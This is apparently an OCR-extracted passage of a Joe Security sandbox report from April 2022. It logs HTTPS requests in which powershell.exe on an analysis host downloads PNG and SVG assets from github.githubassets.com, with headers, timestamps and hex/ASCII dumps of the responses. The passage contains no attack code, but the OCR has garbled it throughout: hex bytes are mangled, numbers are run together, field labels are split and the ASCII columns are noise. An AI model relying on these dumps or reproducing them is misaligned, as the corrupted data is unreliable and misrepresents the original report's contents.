03 db 54 58 04 a4 6a 44 0d c0 c0 52 60 10 dd 2f ff 12 al cf 73 00 74 00 46 1c 6a bf 5d e2 06 f5 72 46 a6 56 2a cd 37 11
14 83 0d aa 9b 02 80 Ob €3 3c 14 06 d2 49 4f 76 e4 e2 75 4c

Data Ascii: .S2.'u4rYoBHkO<bwpV1Qc0S7~X/)fuzRQ\W|V_up!y\Rj*(dQ,UYJODs4 Fw_"AuQ' x~mTXjDR/stFj[rFV*
7<I0vuL

Data Raw: 00 be 53 28 39 ad 6¢ 68 89 6¢ db 56 60 76 39 01 91 8d da 2f cc 63 34 7c be 3a 74 5a dc a0 d4 b7 72 24 9d 77
0540 25 35 d6 cb b0 d2 ec ea dd 9a a6 el 46 8a ba 2e 8d 2 29 00 74 7e dc 4f 01 c0 0d fa bc a5 Of cb df 9c 28 3d 2d 2 6f
5e 10 80 39 ed 4c 3c 50 7f ab f4 c0 fb 85 c2 5b 51 f0 8a 96 76 2d 3d 94 a6 76 97 46 60 4c dc 75 8b 94 a6 cb 2e 87 cb bf
3d c8 c0 da e7 5b 87 b3 23 0f aa 2d bb 95 fa d6 a5 94 b5 42 78 da 12 5a 9c 11 00 72 4a d1 18 aa 81 2b 00 2a 01 f0 39 25
67 78 be 5¢c a0 db f1 93 11 f1 d9 55 eb bb 26 49 71 97 66 €3 6¢ 60 bd 74 5d a4 7c db 68 61 38 d5 00 e4 94 ce 1c 20 0d f4
36 83 65 26 00 3c 4a 75 de d3 25 fd c3 74 4d 73 2b bf 35 ba Oe aa 2d da e7 41 cf f4 4b 01 90 60 57 94 58 94 1e 8 86 c8
b6 94 75 95 cd a5 ed 51 62 95 4f 15 c2 1a 09 60 b9 7e

Data Ascii: S(9IhlV'v9/c4|:1Zr$w@%5F.)t~O(=-0"9L<P[Qv-=VF Lu.=[#-BxZrJ+*9%gx\U&Iqfl't]|ha8 6e&<Ju%tMs+5-
AK'WXuQbO"~

Data Raw: 8c 06 40 d4 b7 0a 80 12 ff aa 04 65 f8 04 5e 40 2b d4 a4 02 92 25 a2 b6 88 6d d5 70 8b 7 4d 00 fc 48 a9 f1 5
20 97 e6 aa 3a cc c5 ea 3b 25 96 40 e5 32 f0 6f 8a 8a 81 89 00 94 6a cf 5b 77 7f 13 00 96 7f af eb a0 da 15 00 ee 5a 6¢
5a fc df 80 f5 75 00 18 52 4b 0f 9c ¢3 d5 4c eb 6b 91 ed 80 d2 83 7b fe ab da 3f 00 1e 4d 03 60 d6 ab f8 77 1e 9a 00 c8
7b a0 40 2d ae 06 40 d4 b7 15 00 8¢ 24 09 71 Oc 19 3d eb 0a c0 Oe ac 80 6¢ 43 30 2a ce d7 cc 8f b6 05 40 58 cb le 08
9983 8d c1 23 d5 1d dc f1 9a 9d 1d a0 01 58 24 3f 2d 5b 26 00 8e 9b 97 16 00 16 3c 73 35 51 aa 2e ea 35 68 4a 23 78
a5 63 8f d7 00 c0 fc eb 29 99 55 7a 60 8a 6¢ 27 23 00 c8 4b b3 c0 ab 84 6e bb c1 37 01 30 36 00 fO d6 fc 6¢ 01 cO 88 49
Oc c1 92 96 4c 5b 4e 2d 00 98 dO 71 a7 87 77 40 ba f5 22 b8

Data Ascii: @e"@+%mpMH :;%@20j[wWZIZURKLk{?M W{@-@$q=ICO*@X#X$?-[&<s5Q.5hJ#xc)Uz I'#Kn706IIL[N-qw@"

Data Raw: c3 6¢ 22 dc 3c e6 68 49 4f d9 f2 7a d2 3c cc 1f 8e 53 94 b2 0f 11 73 34 6a fe 4d a3 b3 f3 d8 93 26 e2 4f 7f Ob
9b 00 fd 5¢ 63 ee be Oe 84 2d ca 23 16 Ob 05 29 11 a0 e7 a8 c3 ¢8 b5 10 73 d5 8c 3a 57 14 91 4e 5d 25 80 cd bd 99 31
7 92 e4 22 2¢ 22 92 el 5e 3c 92 f4 f2 14 87 69 1b f4 db 4e bf 4d db a0 af Of 05 30 88 €6 2e 80 b8 6f 80 52 00 6e 55 80 99
439513 21 43 31 c0 7e 6e 0a 79 5f 97 fb c¢8 bd fa 7c 2d 18 8a 35 56 9c 23 31 ad 4b bf 47 80 4d 00 9f 67 19 16 48 3b a2
17 8f b1 14 40 56 87 23 31 1d 7f 70 73 44 8f 68 72 45 48 69 74 08 3b 62 2a 01 64 al ed 59 12 40 17 02 ec el 8a 5e 92 f4
f2 2c ef ad a0 ee cf c6 7e 54 fa 2b 2a 05 30 9f 0a b0 cf ae dc c¢7 64 21 2b a8 8e d3 23 c1 44 16 20 f7 a6 01 2d 39 98 8e 14
7f 8 c8 23 fd 3e 36 01 e4 12 cf 93 6e e7 46 a4 fO

Data Ascii: I"<hl0z<Ss4jM&O\c-#)s:WN]%1","*<iNM0.oRnUC!C1~ny_|-5V#1KGMgH; @V#1psDhrEHit;b*dY@",~T+*0d
1+#D -9#>6nF

Data Raw: d9 4a 19 13 29 e5 2b 73 0f b8 21 80 b5 e7 57 19 93 29 2d fb 1a 70 3d 80 25 97 31 al 9a 35 e0 72 00 6b e6 31
26 f4 ea 59 02 ae 06 b0 e7 32 a6 b4 64 Ob b8 1a 40 cd 6d 4c 69 cb 1a 70 35 80 7e fe 1a 53 3a ce ef b8 0a 01 e4 39 26 75
66 c0 d5 00 ce 79 03 38 03 1e 1f 00 ff 8b 00 fe b2 73 06 3b aa 2a 41 18 7e 01 12 37 be 05 8b de 99 74 62 c2 0b 90 4e 6f
3a bc 8b 7b d2 aa 05 88 33 23 fc f3 b4 17 8a ca 30 cc 75 26 e7 ae b8 c7 a9 6f 01 fc b4 b8 aa cf ae 6e a3 c7 d3 f9 42 97
7355 4b 6¢ a6 a8 02 28 bf 42 80 6b 4b 13 97 66 8c a7 8b c4 f6 fa fc 02 28 2a 40 45 03 b7 db 8d 06 5e 62 7c fd 14 ab 67
17 40 51 01 de f8 a3 bf 8e c7 aa 1d 0d 78 19 Oe 7 ea 18 6b 8e 57 15 €0 c9 51 01 5a a2 b6 8e 4c 43 cc cb 94 ea fb 30 12
17 98 34 ec ed 46 05 78 1e 54 80 6a ae 7f 69 7f 5e a3 50

Data Ascii: J)+s!W)-p=%15rk1&Y2d@mLip5~S:9&ufy8s;*A~7tbNo:{3#0u&onBsUKI(BKKf(*@E"b|g@QxkWQZLCO4FXTji
P

Data Raw: ae 42 60 82

Data Ascii: B®
Destinati
Destination IP estination Process
Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Data

GET /images/modules/site/home/community-sponsor-2.png HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive
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kBytes

Timestam
P transferred

2022-04-20 13:07:42 UTC 3509

2022-04-20 13:07:42 UTC 3512

2022-04-20 13:07:42 UTC 3514

2022-04-20 13:07:42 UTC 3515

2022-04-20 13:07:42 UTC 3516

2022-04-20 13:07:42 UTC 3518

2022-04-20 13:07:42 UTC 3519

2022-04-20 13:07:42 UTC 3520

Copyright Joe Security LLC 2022

Direction

IN

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 15660

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Last-Modified: Tue, 22 Sep 2020 20:56:01 GMT

ETag: "11605a34e30ef8671461bb349148733f"

Content-Type: image/png

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:42 GMT

Age: 2081

X-Served-By: cache-iad-kiad7000116-IAD, cache-mxp6948-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000

X-Fastly-Request-ID: 57e7bd6e4744d1504cd14aafecf6fa406ddb0fda

Data Raw: 89 50 4e 47 0d Oa 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 00 00 00 02 Oc 08 03 00 00 00 75 ea 3b 73 00 00
02 fd 50 4c 54 45 47 70 4c ff ff ff ff f ff ff f ff ff ff ff ff f ff £f f £f £f fF £F f fF £f ff £F £ fF £F £ £ £f ff £F f ff £7 £7 £7 80 80 80 9c 9c 9¢c
56 56 55 00 00 00 67 67 67 b8 b9 bb 60 60 60 50 50 50 8f 8f 8f d5 d5 d5 c0 c0 c0 ¢9 c9 ca 11 11 11 b0 b0 b0 6a 6a 6a 01
01 01 a3 a3 a3 eb ec ed fe fe fe 8c 8c 8¢ 06 06 06 22 22 22 18 18 18 86 86 86 93 93 93 30 30 30 1c 1c 1c Oc Oc Oc ed ed
ed f5 f5 6 ac ac ac df df df cf cf cf e4 e4 e5 7a 7a 7a bf bf bf e0 el e2 20 20 20 21 21 21 a8 a8 a8 04 02 02 2b 2b 2b 29
2929 7474 74 41 41 41 d3 d3 d3 3a 39 39 37 37 37 63 63 63 71 71 71 fb fc fd 34 34 34 40 40 40 83 83 83 ef ef ef 97 97
97 6f 6f 6f f2

Data Ascii: PNGIHDRu;sPLTEGpLVVUggg " PPPjjj""000zzz !ll+++)))tttAAA:99777cccqqqé44@ @ @000

Data Raw: 81 fb 49 ef ea c9 3b 7a f0 55 90 f9 26 24 24 b4 62 0f d0 9b c1 97 62 87 8a 82 9f c1 4b 20 a7 fa e0 6d 90 90 08
do ff 7d 8c 87 3a 30 38 84 11 74 21 b6 ¢3 8b 33 8¢ 88 79 3b 48 a7 d3 32 34 35 7a al 00 ef Oc 89 00 1f 6f c3 d8 14 {7 8e
ec dd 17 ee c0 8f 7e f2 69 37 34 46 4a a5 52 be fa ce ba ff 4d 23 62 8f 08 52 3¢ 68 f2 7b 81 c1 18 24 bc 33 02 a4 31 26
a2 f0 47 47 4c 73 6¢ ff 81 f0 73 80 36 68 8c 2c Oa 5d da fO Oe 46 ca ad fb 8e 44 80 84 37 2f cO 2e 8¢ ¢9 80 e8 14 06 4d ce
cl 43 a3 18 c2 6f 62 0a 80 b9 cd 02 68 39 54 b2 89 00 6f 9e 44 80 fe ef 1e 56 31 Oe 47 8e fO 79 47 4d 9b 63 c7 4f e0 66
fe 1553 00 cc 07 05 20 12 01 de 3c 49 13 fc 6b ad 13 e3 70 88 6f 7e 4e 8e 98 c4 b1 a3 b8 89 el b8 02 60 36 11 a0 79 48
le 83 7e 1f e3 b0 cf dc c8 a9 22 fa d9 f1 fe 7b 6d

Data Ascii: 1;zU&$$bbK m}:08t!3y;H245z0~i74FJRM#bR<h{$31&GGLsls6h,]JFD7/.MCobh9ToDV1GyGMcOfS <lkpo~N"
6yH~"{m

Data Raw: cd 4b c4 17 40 2c 84 68 01 a6 7c 97 f8 42 40 00 7a f2 e3 c6 b5 c0 53 a0 3 8¢ 4d d0 50 84 26 2d 2a 40 22 80
16 bd 03 1a 3c c9 af f3 f3 19 1e a9 47 4d 3f 83 28 72 cb 3c da 87 3f ff dd 97 e0 79 04 a0 38 52 00 6a 11 ca 34 e2 56 b4
96 4e a7 f3 0d 04 dO bc e9 9f 85 09 70 6d c9 3b f4 ba 18 10 60 81 9c €0 4c 32 36 4b 9a b0 45 ca 5d 67 6¢ 2d 5¢ 80 25 df
bd 63 4d d7 5b 4d 80 44 80 af 63 24 e2 ba bf 9c 41 75 14 b1 ¢8 55 f0 78 f4 78 ec c1 28 de e4 d1 29 7c 1f e0 05 04 80 ed
d102c0df 9102 c8 f1 a0 5d 12 f5 df 21 52 0d 04 80 1e fa 49 5a 19 c3 04 60 b3 4b de b9 6e 40 00 5e c7 54 ed 93 5¢ Of
dd 15 c0 9a 74 57 5¢ 85 10 01 c8 0d ba b5 4c 33 36 d1 62 02 24 02 f4 aa 88 bb b6 61 18 8f 4c ce Oa ee 3b 66 2e 17 f1 bl
e9e31057 e338 1e e0dl 49 cc bd 98 00 90 8b 16 00 a8

Data Ascii: K@,h|B@zSMP&-*@"<GM?(r<?y8Rj4VNpm; L26KE]gl-\%cM[MDc$AuUxx()|]'RIZ"Kn@/T\tW\L36b$aL ;f. W8l

Data Raw: 12 42 d5 00 2c 83 6e 2f e7 44 5¢ 9d 89 48 8c 73 5e ¢5 93 3a e0 a8 24 21 d4 0d e0 73 {7 Oc af 8b 39 bb 00 dd
ed f2 bb 5c 6e 1d 40 dd e7 8b 57 48 08 75 03 68 b6 3a 79 b3 60 64 0a 37 ad 1a b4 26 db bl a3 0Of 2e 90 10 6a 06 70 e5 f1
83 ca 77 7f fb bb 9b d1 14 6f f5 4a fb fd 1f ec 8f 3f 7e ef 3a 09 al 68 00 bf 5e b8 71 d8 8a b4 ce 6e de 21 8e 3f 3e 25 21
94 0d e0 78 7d ad 06 83 6f 26 c6 05 84 dc 56 53 c3 6a e5 71 12 42 b9 00 fe f4 e7 13 ¢8 73 0d 73 41 af a6 61 38 d6 42 42
a8 15 c0 35 33 36 49 c¢6 b8 90 17 3a 32 ac 6d 24 84 42 01 ac dc d0 bl c5 6b 2e e4 17 e4 e8 d7 48 08 65 02 18 3d 8c 6d
f4 Oe de 69 42 43 5e d3 57 24 84 22 01 1c Oc 63 07 6d 86 b7 Ob 8e 63 c3 €7 16 12 42 89 00 e6 6¢ 28 cO f5 3d 6f 13 c5 66
6d 24 84 0a 01 3c b6 al 20 77 37 6f 11 77 63 33 db c7 24

Data Ascii: B,n/D\Hs":$!s9\n@WHuh:y d7&.jpwoJ?~:h"qn!?>%!x}0&VSjgBssAa8BB5361:2m$Bk.He=miBC "W$"cmcBlI
(=ofm$< w7owc3$

Data Raw: 5b 5b 3e a0 e5 66 44 92 b1 cb 20 b6 7b 9c 7¢ 05 80 03 4b 43 15 80 08 24 13 96 ¢7 7f 11 16 cd 47 b 3f 81 dd
67 3f fb 42 00 70 a9 47 b7 eb d8 58 05 80 ed 44 6b 38 ae 3c 1e 1a e4 6b 00 b4 4b 03 2a c2 b4 8c cd 60 04 b7 86 €3 b8 7
ce 2¢ 01 43 75 3e 02 dd 16 cc c9 4 c8 e9 c5 9f 31 6e 66 4c 37 df 14 f8 Oc 64 eb b1 a9 36 b2 94 50 1c 5¢ dd d8 45 8c 60
5b 66 €6 28 cf 4f cf c0 1d 2f 1b d8 €9 60 11 04 40 39 50 d0 d8 c5 55 00 46 2e 23 42 09 00 27 45 ¢7 c3 01 70 7f ff {7 b7 00
fc 09 7 d9 7 ff f6 36 00 52 1c 9b b6 3d 64 02 70 ba 01 40 ea e7 78 65 a0 59 12 20 1f c6 8e ab 8c e4 76 Ob 5e 03 a0 87
77 2e 41 5¢ 9¢ 53 77 c8 ab d4 60 f5 14 00 34 ¢8 ed 6a c0 58 39 7b b8 ab 23 c0 c0 8¢ 66 16 34 b4 ce 38 58 2f 6a 6b €6 21
9c df a6 43 78 a9 98 €8 58 64 fa ad ec 74 ad 55 62 df

Data Ascii: [[>D {[KC$G?g?BpGXDk8<kK*  Cu>1nfL7d6P\E [((O/ @9IPUF #B'Ep6R=dp@xeY vAw.A\SW 4jX9{#f48X
/jKICxXdtUb

Data Raw: 4f 7f 02 a8 49 00 db b9 ff ee dd 02 60 6d 4f 14 92 b3 dd 1d 02 28 8a a3 f7 2b 04 00 02 00 01 80 00 40 00 20
00 10 00 08 00 04 00 02 00 01 80 00 40 00 fO b1 77 06 39 92 ab 48 18 5e b1 45 Oa c9 6e b5 f4 Oe e0 15 48 88 1b 84 50
5e a0 bd 43 de d8 07 c9 ba 49 5e 75 24 13 fe ed b0 c8 29 d7 ab 9a ae 29 25 bl 1a a7 0d 04 01 5f 65 9b 37 55 df Of 00 e0
7d 99 ae 63 76 55 7f 6e d7 05 f3 53 c2 31 a7 6f 28 7 37 ce 77 f0 0d 80 af 11 69 dd 89 3a fd cb f0 ff 52 ee 75 e3 bb f9 ae
60 a2 e5 db ca f9 0d bl 10 5 e6 4b a2 01 fO 8b 68 fa 12 00 8 1b f7 86 bd 9c ac 8e 64 ad fb 5f 02 f0 c5 6e 5e 67 2d ec 37
b7 06 c0 17 ad d8 3c 9b 1f 0f 80 99 c3 df d1 37 76 c4 df 66 66 54 86 bf d1 7c 3e 1a 00 88 9f Ob 00 e2 b5 00 b8 18 0d 80
06 40 03 a0 01 €0 6e 91 72 ef 77 93 6¢ 09 6 59 d4 bc

Data Ascii: OI'mO(+@ @w9HEnHP"CI"u$))%_e7U}cvUnS1o(7wi:Ru Khd_n"g-7<7vffT[>@nrwlY

Data Raw: f8 b3 b6 27 0a 50 13 6f 7b d7 72 b7 6f 3b 64 6f d5 b1l 7e 15 80 24 d9 95 1b d8 ae 1e d3 bc 47 36 88 84 72 10
00 e8 b7 b4 62 3a 39 7e 1f a5 85 55 2d 40 b2 84 6e 32 1f 00 dO 6e e2 a0 96 ea 1a 00 86 29 fb d2 be 01 00 00 72 51 fd f6
eb 02 c1 bf 9b ee 39 03 00 ed cf b5 69 75 db 96 db e6 4e 64 8b ca 97 1e Oa 00 c8 6f ab 00 60 18 ba Oc 40 2e a2 de 48 34
ef 7b d4 f5 b9 b4 14 2b 6f ba 6f 5b d9 ae bd 65 ea f6 ec 53 91 02 af 7d b8 0a 00 bb 96 98 e4 46 5e 3f 90 69 a6 d2 bd 16
22 47 2f 1d c6 4a 39 2b 8e 5f de 5 c0 71 eb 79 36 08 69 22 59 46 a3 00 fO ca 4d ac 2d cd 42 4c 97 9e 01 20 5d 53 37 cf
36 47 ac 46 03 a0 7b 88 93 b6 97 35 15 a7 ec 14 01 40 cd 9f 3b 47 fc 47 54 69 ff 66 14 00 d8 44 0a 00 c4 7d 33 Oc f3 e5
77804199 7b 07 a2 3c 44 a2 b9 b4 3c a9 89 df 88 32 73

Data Ascii: 'Pofro;do~$G6rb:9~U-@n2n)rQ9iuNdo’ @.H4{+oo[eS}F ?i"G/I9+_qy6i"YFM-BL ]S7T6GF{5@;GGTifD}3w
A{<D<2s
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kBytes

Timestam
P transferred

2022-04-20 13:07:42 UTC 3522

2022-04-20 13:07:42 UTC 3523

2022-04-20 13:07:42 UTC 3524

2022-04-20 13:07:42 UTC 3526

2022-04-20 13:07:42 UTC 3527

Session ID Source IP
106 192.168.2.4
. kBytes
Tim m|
imestamp transferred

2022-04-20 13:07:42 UTC 3527

2022-04-20 13:07:42 UTC 3528

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49866

Direction

ouT

Data

Data Raw: 3c 6b a6 be 02 00 54 61 68 f9 52 00 40 5c 85 65 54 4b c4 ff 1a 80 41 fb 53 2c 45 bd ed a3 da 7c 99 a2 57 00
d8 ba 2d Oe bb 6b d2 9e ac 6¢ 90 df Oc c7 ¢5 73 00 f4 ee c5 15 1b ec bd a5 be 95 5¢ 15 00 dc ab d6 50 6b 5d cf 3a 33 3d
95 b3 ¢5 17 d9 a2 d6 28 31 d1 84 fe 90 42 3d 6b 8f 86 15 00 d0 10 1d bd 1c 00 96 a8 93 20 b2 eb b5 36 50 5d 01 20 15
55 6e de 00 e8 b5 f3 dc 6e 3a 93 be 2b 81 ef 02 48 1f 86 6e 76 fa 84 ee 88 8c 1f ed ad eb 86 cd 63 17 4e 3e al 7d 02 93
38 2e f8 36 a7 27 00 c4 2a 00 03 90 84 2d f9 3a 00 cb 51 df 6b d7 eb ca 31 e8 09 00 6¢ 4f 84 b6 8 c6 2f 02 cO 3d 05 00
4a7c d4 e535 0140 08 00 11 b7 2e 02 00 55 ae 7e 13 ¢3 ff 84 al 10 71 f2 53 8d b1 7c 36 61 6d d4 4f 48 cf 68 6 b0 a6
88 8e Oe 31 1d ba eb dd 75 00 30 49 dc b8 Oe 40 bd 86 d7 00

Data Ascii: <kTahR@\eTKAS, E|W-kIs\Pk]:3=(1B=k 6P] Unn:+HnvcN>}8.6"*-:Qk110/=J|5@.U~qS|6amOHh1u0l@

Data Raw: 16 b1 Ob 45 80 2c 03 80 25 c9 3 39 73 c0 2f 80 3c a9 97 d0 12 34 9d b6 9d 92 06 al 62 cd bl Oe f7 63 43 8a
b5 ba cf da 43 4f 2b e7 d1 b7 e3 af 91 27 5a d7 ca c6 97 d1 ae 03 d9 78 ec b4 0d 61 dc d8 61 1e c7 63 Oc 6e 43 f0 14 83
49 1e 1d 66 7f bf aa 94 7b ea 4e a1 08 60 b0 9d 99 7c 42 d7 52 e0 47 a6 c6 f7 80 fb d8 12 00 12 62 38 21 50 05 55 d8 84
c7 dd 2c 31 fa 30 d4 de 3e 6¢ 3c 03 b8 ae 93 71 €3 19 2b f3 40 a4 b0 6d bd 6¢ 61 12 2c 14 09 ce 51 40 63 21 7e 56 a6 15
8a 00 Oc bc d3 4a 7b 02 20 25 f4 2b c0 b9 e5 55 fb 38 bc d5 44 6e 82 8a 11 4c 4d be 09 92 2¢ 98 71 ae eb 85 48 87 fa 3¢
ce 12 43 1b bf 6e b0 93 db 26 15 ae 47 a2 c1 82 29 6¢ bc 2a 2f a3 ad 04 6a b1 86 f1 67 €0 48 1f 91 ba 4c 90 6d e7 67 9d
7aal 08 30 03 b5 d4 fd 2b 2c a5 8e a6 ff 63 99 00 58 d3

Data Ascii: E,%9s/<4bcCCO+'ZxaacnCIf{N'|[BRGb8!PU,10>I<g+@mla,Q@c!~VJI{ %+U8DnLM,qH<Cn&G)I*/jgHLmgz0+,
cX

Data Raw: 5f 82 ae 06 e0 88 2e 54 3c 7e 86 00 09 c6 50 27 97 4b 20 8e 12 20 2b 0f 56 91 cb 57 38 40 a6 83 5a 52 42 8b
00 c4 c7 Oa fO 83 a3 cf bf 90 00 9d 00 b1 00 62 88 9f 23 00 ff 00 01 68 ac bc 3e 42 80 9e cc 3f 51 80 07 44 57 b0 af 23 40
27 80 87 83 5d 56 b3 2a 39 9f 3c ee 7b 4f ba de bd ef 3b be 7f 37 04 f8 e1 71 75 24 01 74 8b f8 el fa 9c 51 61 2c 42 17
6c c6 6d d3 97 ed 50 3a fb 10 7a 18 87 el e0 90 00 57 af 2f 9b b4 47 6d d5 78 2d ea 02 10 1b a9 4e f4 16 9b 97 4c 4f b8
49 97 d6 7a f3 72 0d 8b 34 97 59 9a 82 95 be ca 55 4a a5 f5 bc 1c b8 e8 55 02 50 29 4c 92 ac ab 10 4d 7e 84 9c 33 5b 54
b5 ff 80 71 e6 ea cb ee 3b ea aa 4d 01 c6 d3 08 60 5f 80 49 28 82 90 fb 03 b1 1d cf 68 95 28 6e 39 79 68 Oc 61 d4 4d 6b
75 11 ba 1a 60 82 94 b3 15 1c 9f 90 ed 3e 47 24 40 of

Data Ascii: _.T<~P'K +VW8@ZRBb#h>B?QDW#@']V*9<{O;7qu$tQa,BImP:z2\W/Gmx-NLOIzr4YUJUP)LM~3[Tq;M"_I(h(n9
yhaMku'>G$@

Data Raw: 3c 4d 33 29 9f al 45 00 55 29 67 e5 90 0d ec Ob b0 2e fb 0d 01 ac 8d 94 af €5 c0 05 d4 04 d0 21 56 14 02 18
da 66 f6 a2 €7 32 74 1b 02 dO ce 3e 0f c3 d1 6¢ 72 86 00 c9 Oc 39 2d a0 31 44 77 bb d4 fd 49 74 02 dO 5e bd 99 9c 09 c3
2d2c 8276 01 9c e4 11 11 a7 03 50 88 7f 4d a9 d5 c8 70 23 dc 35 9c 2¢ 00 f4 d4 46 50 b6 84 76 01 40 fd f1 c3 6a 0d 35
0l ac 72 aa 16 c0 1c f8 Oc 0d 01 e0 99 42 58 aa 11 53 71 4b 08 75 99 13 68 0a a0 7f a9 82 2c b1l cf 10 00 d4 fa al 7f 6f
0Oe d9 75 33 ea be 38 9d 00 6d 88 28 10 ef 8f b9 35 5a 01 b5 ce 0f d7 82 b5 9c 5b f0 Oe f3 25 c9 55 e7 da 3a 72 a0 79 46
e0 ec f8 ff 7b 10 09 38 Of 5a b2 8f 5¢c ab 06 9d 00 13 54 38 27 08 d0 31 c6 3b f8 1e 74 02 a0 a6 13 e0 04 06 f8 04 1d 9d
00 ff b7 b8 28 €0 cb d3 09 20 f4 71 97 f0 7d f3 d8 d1 ce

Data Ascii: <M3)EU)g.!Vf2t>Ir9-1DwIt*-,vPMp#5,FPv@j5rBXSgKuh,0u38m(5Z[%U:ryF{8Z\T8"1;t( q}

Data Raw: 69 0b 65 24 13 c0 58 5e 00 35 e0 6d 6 4f c2 fb 5b fb 3f 42 38 eb e8 df 3a 29 ec 91 04 37 60 4a 6d 46 bf 08 20
b9 13 37 3¢ 09 5e 52 68 c8 04 30 96 16 20 19 0 fb 34 11 f1 33 dd c0 ad bc 5f 65 24 c4 6d d0 ac 77 a4 4c al 3f d3 3d ce
7d ef 66 29 4b c9 04 30 16 16 80 Oe b5 8e 41 d5 86 99 b7 07 ba 4f 12 e0 41 fe 1c da 30 01 74 ee e7 fd 7e cb cc 9b 8a be
97 00 86 09 a0 63 90 8e 42 df 4e 00 c3 04 a0 aa e6 2b 9b 37 fa 1b 5¢ df 3b 13 c0 78 10 01 94 5d bd dd d9 6f 83 fe cb de
1d 58 48 14 43 51 18 06 07 70 6b 98 00 b0 18 52 ¢3 90 f0 18 40 c0 76 32 55 3¢ 1e 80 Ob d3 c1 c1 4b 39 91 4e b6 84 45
02 97 f3 d5 90 5f 80 7b 24 02 1d ¢7 15 51 00 22 Oa €0 7f a2 89 a4 ef Oc €9 87 17 44 56 03 c8 8¢ 3a 92 ¢7 Oc 91 d5 00 9c
7d 86 74 d2 b1 4a 14 c0 87 d7 31 03 fa 90 37 96 89 96 e2

Data Ascii: ie$X"5mO[?B8:)7"IJmF 7<"Rh0 43_e$mwL?=}f)KOAOAOt~cBN+7\;xJoXHCQpkR@V2U<KINE_{$Q"DV:}tJ17

Destinati
Destination IP estination Process

Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /images/modules/site/icons/footer/twitter.svg HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 596

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Last-Modified: Thu, 18 Feb 2021 18:33:19 GMT

ETag: "adc56223ac74fac5d0071fc694ec1438"

Content-Type: image/svg+xml

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:42 GMT

Age: 2821

X-Served-By: cache-iad-kcgs7200127-1AD, cache-mxp6963-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 3, 8

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000

X-Fastly-Request-ID: ad5c¢57894e6e6276330277dd42b02ab5fa19bb05
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Timestam
P transferred

2022-04-20 13:07:42 UTC 3529

Session ID Source IP
107 192.168.2.4
. kBytes
Ti t
fmestamp transferred

2022-04-20 13:07:42 UTC 3528

2022-04-20 13:07:42 UTC 3529
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2022-04-20 13:07:42 UTC 3531
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Copyright Joe Security LLC 2022

Direction

IN

Source Port

49865

Direction

ouT

Data

Data Raw: 3c 73 76 67 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73
76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 37 33 2e 35 20 32 32 32 2e 33 22 3e 3c 70 61 74 68 20 64 3d 22
4d 32 37 33 2e 35 20 32 36 2e 33 61 31 30 39 2e 37 37 20 31 30 39 2e 37 37 20 30 20 30 20 31 2d 33 32 2e 32 20 38 2e
38 20 35 36 2e 30 37 20 35 36 2e 30 37 20 30 20 30 20 30 20 32 34 2e 37 2d 33 31 20 31 31 33 2e 3339 20 31 31 33 2e
333920 3020 30 20 31 2d 33 35 2e 37 20 31 33 2e 36 20 35 36 2e 31 20 35 36 2e 31 20 30 20 30 20 30 2d 39 37 20 33
38 2e 34 20 35 34 20 35 34 20 30 20 30 20 30 20 31 2e 35 20 31 32 2e 38 41 31 35 39 2e 36 38 20 31 35 39 2e 36 38 20
30 20 30 20 31 20 31 39 2e 31 20 31 30 2e 33 61 35 36 2e 31 32 20 35 36

Data Ascii: <svg xmlIns="http://www.w3.0rg/2000/svg" viewBox="0 0 273.5 222.3"><path d="M273.5 26.3a109.77 109.77 0
01-32.2 8.8 56.07 56.07 0 0 0 24.7-31 113.39 113.39 0 0 1-35.7 13.6 56.1 56.1 0 0 0-97 38.4 5454 00 0 1.5 12.8A1
59.68 159.68 0 0 1 19.1 10.3a56.12 56

Destination IP LWL Process

Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Data

GET /images/modules/site/home/footer-illustration.svg HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 667990

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Last-Modified: Tue, 06 Oct 2020 14:38:40 GMT

ETag: "3fdf0104d5bfc12912ach1313e698d90"

Content-Type: image/svg+xml

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

